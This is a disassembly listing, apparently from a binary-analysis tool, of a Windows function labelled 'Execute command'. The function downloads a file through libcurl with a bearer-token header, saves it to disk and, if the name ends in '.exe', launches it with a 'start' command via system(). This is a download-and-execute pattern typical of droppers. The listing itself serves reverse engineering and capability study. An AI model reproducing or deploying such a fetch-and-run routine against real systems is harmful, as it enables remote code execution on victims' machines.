Function at 0x140001d4c
Capabilities:
Execute command

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], rdx
mov dword [rbp + 0xc], 0
mov byte [rbp + 0x15f], 0
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_init]
call rax
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
je 0x140002223
lea rax, [rbp + 0x30]
lea r8, [0x140011060]
lea rdx, [0x140011040]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11:
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x30]
lea r8, [0x14000c152]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x180]
lea rdx, [rbp + 0x10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rdx, qword [rbp + 0x188]
lea r8, [0x14000c154]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x180]
lea rdx, [rbp + 0x50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
lea rax, [0x14000c156]
mov rdx, rax
call sym.fopen
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
jne 0x140001ec6
lea rax, str.Failed_to_open_file_for_writing:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x40]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x14000c0ca]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
call rax
mov esi, 0
mov ebx, 0
jmp 0x1400021ef
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x150]
mov r8, rdx
mov edx, 0x2712
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp + 0x150]
mov r8d, 1
mov edx, 0x34
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp + 0x150]
lea r8, [sym.write_file_callback_void__unsigned_long_long__unsigned_long_long___iobuf_]
mov edx, 0x4e2b
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rax
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x150]
mov r8, rdx
mov edx, 0x2711
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rax
mov qword [rbp + 0x140], 0
lea rax, [rbp - 0x20]
lea r8, [0x140011080]
lea rdx, str.Authorization:_Bearer
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x140]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_slist_append]
call rax
mov qword [rbp + 0x140], rax
mov rdx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x150]
mov r8, rdx
mov edx, 0x2727
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_perform]
call rax
mov dword [rbp + 0x13c], eax
cmp dword [rbp + 0x13c], 0
je 0x140002095
lea rax, str.Failed_to_download
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x180]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x14000c196]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov eax, dword [rbp + 0x13c]
mov ecx, eax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_strerror]
call rax
mov rdx, rax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [0x14000c0ca]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym.fclose
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x70]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::filesystem::remove_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.140006820
jmp 0x1400021a9
lea rdx, [rbp + 0xc]
mov rax, qword [rbp + 0x150]
mov r8, rdx
mov edx, 0x200002
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_getinfo]
call rax
mov eax, dword [rbp + 0xc]
cmp eax, 0xc8
jne 0x140002107
lea rax, str.Downloaded:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x180]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x14000c0ca]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov byte [rbp + 0x15f], 1
jmp 0x1400021a9
lea rax, str.Failed_to_download
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x180]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, str.._HTTP_Response_Code:
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0xc]
mov edx, eax
call sym.std::ostream::operator___long_
mov rcx, rax
lea rax, [0x14000c0ca]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym.fclose
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xa0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::filesystem::remove_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.140006820
mov rax, qword [rbp + 0x140]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_slist_free_all]
call rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002207
mov ebx, 1
jmp 0x14000220c
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002370
jmp 0x14000223c
lea rax, str.Failed_to_initialize_CURL_for_downloading._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 0
cmp byte [rbp + 0x15f], 0
je 0x1400022b0
mov rax, qword [rbp + 0x180]
mov r8, 0xffffffffffffffff
lea rdx, [0x14000c1ec]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_last_of_char_const__unsigned_long_long__const
mov rcx, rax
lea rax, [rbp + 0xd0]
mov rdx, qword [rbp + 0x180]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
mov ebx, 1
lea rax, [rbp + 0xd0]
lea rdx, str..exe
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x1400022b0
mov esi, 1
jmp 0x1400022b5
mov esi, 0
test bl, bl
je 0x1400022c8
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test sil, sil
je 0x140002369
lea rax, [rbp + 0x110]
mov rdx, qword [rbp + 0x188]
mov r8, rdx
lea rdx, str.start
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x110]
lea r8, [0x14000c154]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x180]
lea rdx, [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
movzx esi, byte [rbp + 0x15f]
mov eax, esi
jmp 0x140002480
add rsp, 0x1e0
pop rbx
pop rsi
pop rbp
ret